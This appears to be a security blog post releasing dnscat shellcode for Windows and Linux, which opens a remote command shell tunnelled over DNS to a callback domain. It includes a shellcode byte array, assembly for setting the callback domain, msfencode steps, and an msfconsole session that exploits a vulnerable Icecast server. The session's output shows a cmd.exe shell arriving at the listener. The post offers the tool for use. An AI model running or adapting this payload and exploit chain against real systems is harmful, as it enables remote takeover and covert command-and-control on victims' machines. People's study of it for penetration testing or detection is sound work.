Hey all,
I’ve been letting other projects slip these last couple weeks because I was excited about converting dnscat into shellcode (or “weaponizing dnscat”, as I enjoy saying). Even though I got into the security field with reverse engineering and writing hacks for games, I have never written more than a couple lines of x86 at a time, nor have I ever written shellcode, so this was an awesome learning experience. Most people start by writing shellcode that spawns a local shell; I decided to start with shellcode that implements a dnscat client in under 1024 bytes (for both Linux and Windows). Like I always say, go big or go home! If you just want to grab the files, here are some links:
- Win32 shellcode - assembler
- Win32 shellcode - binary
- Win32 shellcode - C array
- Win32 Metasploit module
- Linux shellcode - assembler
- Linux shellcode - binary
- Linux shellcode - C array
If you want to get your hands dirty, you can compile the source – right now, it’s only in svn:
svn co http://svn.skullsecurity.org:81/ron/security/nbtool cd nbtool make
That’ll compile both the standard dnscat client/server and, if you have nasm installed, the Linux and Windows shellcodes. On Windows, you’ll need nasm to assemble it. I installed Cygwin, but you can compile the Windows shellcode on Linux or vice versa if you prefer. The output will be in samples/shellcode-*/. A .h file containing the C version will be generated, as well:
$ head -n3 dnscat-shell-test.h
char shellcode[] =
"\xe9\xa2\x01\x00\x00\x5d\x81\xec\x00\x04\x00\x00\xe8\x4e\x03\x00"
"\x00\x31\xdb\x80\xc3\x09\x89\xef\xe8\x2e\x03\x00\x00\x80\xc3\x06"
...
And, of course, the raw file is output (without an extension), that can be run through msfencode or embedded into a script:
$ make [...] $ wc -c samples/shellcode-win32/dnscat-shell-win32 997 samples/shellcode-win32/dnscat-shell-win32 $ wc -c samples/shellcode-linux/dnscat-shell-linux 988 samples/shellcode-linux/dnscat-shell-linux
Unless you want to be sending your cmd.exe (or sh) shell to skullseclabs.org, you’ll have to modify the domain as well – the very last line in the assembly code for both Windows and Linux is this:
get_domain: call get_domain_top db 1, 'a' ; random db 12,'skullseclabs' ; <-- To modify domain, change this... db 3,'org' ; <-- and this. The number is the section length. db 0
The two lines with the domain have to be changed. The number preceding the name is, as the comment says, the length of the section (‘skullseclabs’ is 12 bytes, and ‘org’ is 3 bytes). This process is automated with the Metasploit payload, as you’ll see.
Encoding with msfencode
msfencode from the Metasploit project is a beautiful utility. I highly recommend running shellcode through it before using it. The most useful aspect with shellcode is, at least to me, the ability to eliminate characters. So, if I need to get rid of \x00 (null) characters from my strings, it’s as easy as:
$ msfencode -b "\x00" < dnscat-shell-win32 > dnscat-shell-win32-encoded [*] x86/shikata_ga_nai succeeded with size 1024 (iteration=1)
If you’re planning on using this in, for example, Metasploit, you don’t have to worry about the msfencode step – it’ll do that for you.
Metasploit payload
Speaking of metasploit, yes! I wrote a metasploit payload for dnscat.
First, there are a number of caveats:
- This is highly experimental
- This doesn't have a proper "exitfunc" call -- it just returns and probably crashes the process
- This is set up as a single stage, right now, and is 1000 or so bytes -- as a result, it won't work against most vulnerabilities
- The dnscat server isn't part of Metasploit, yet, so you'll have to compile run it separately
That being said, it also works great when it’s usable. The target I use for testing is Icecast 2 version 2.0.0 (WARNING: don’t install vulnerable software on anything important!), which is included on the SANS 560 and 504 CDs (thanks Ed!). It’s free, GPL, reliable, and has 2000 bytes in which to stuff the payload.
So, the steps you need to take are,
- Install Icecast2 on your victim machine (Win32)
- Download the experimental dnscat Metasploit module and put it in your Metasploit directory (modules/payloads/singles/windows/)
- Fire up a dnscat server on your authoritative DNS server (dnscat --listen) -- see the dnscat wiki for more information
- Run Metasploit (msfconsole) and enter the following commands:
msf > use exploit/windows/http/icecast_header msf exploit(icecast_header) > set PAYLOAD windows/dnscat-shell-win32 PAYLOAD => windows/dnscat-shell-win32 msf exploit(icecast_header) > set RHOST 192.168.1.221 RHOST => 192.168.1.221 msf exploit(icecast_header) > set DOMAIN skullseclabs.org DOMAIN => skullseclabs.org msf exploit(icecast_header) > exploit [*] Exploit completed, but no session was created.Meanwhile, on your dnscat server, if all went well, you should see:
$ sudo ./dnscat --listen Waiting for DNS requests for domain '*' on 0.0.0.0:53... Switching stream -> datagram Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:\Program Files\Icecast2 Win32>You can type commands in, and they'll run just like a normal shell. Be warned, though, that it is somewhat slow, due to the nature of going through DNS.
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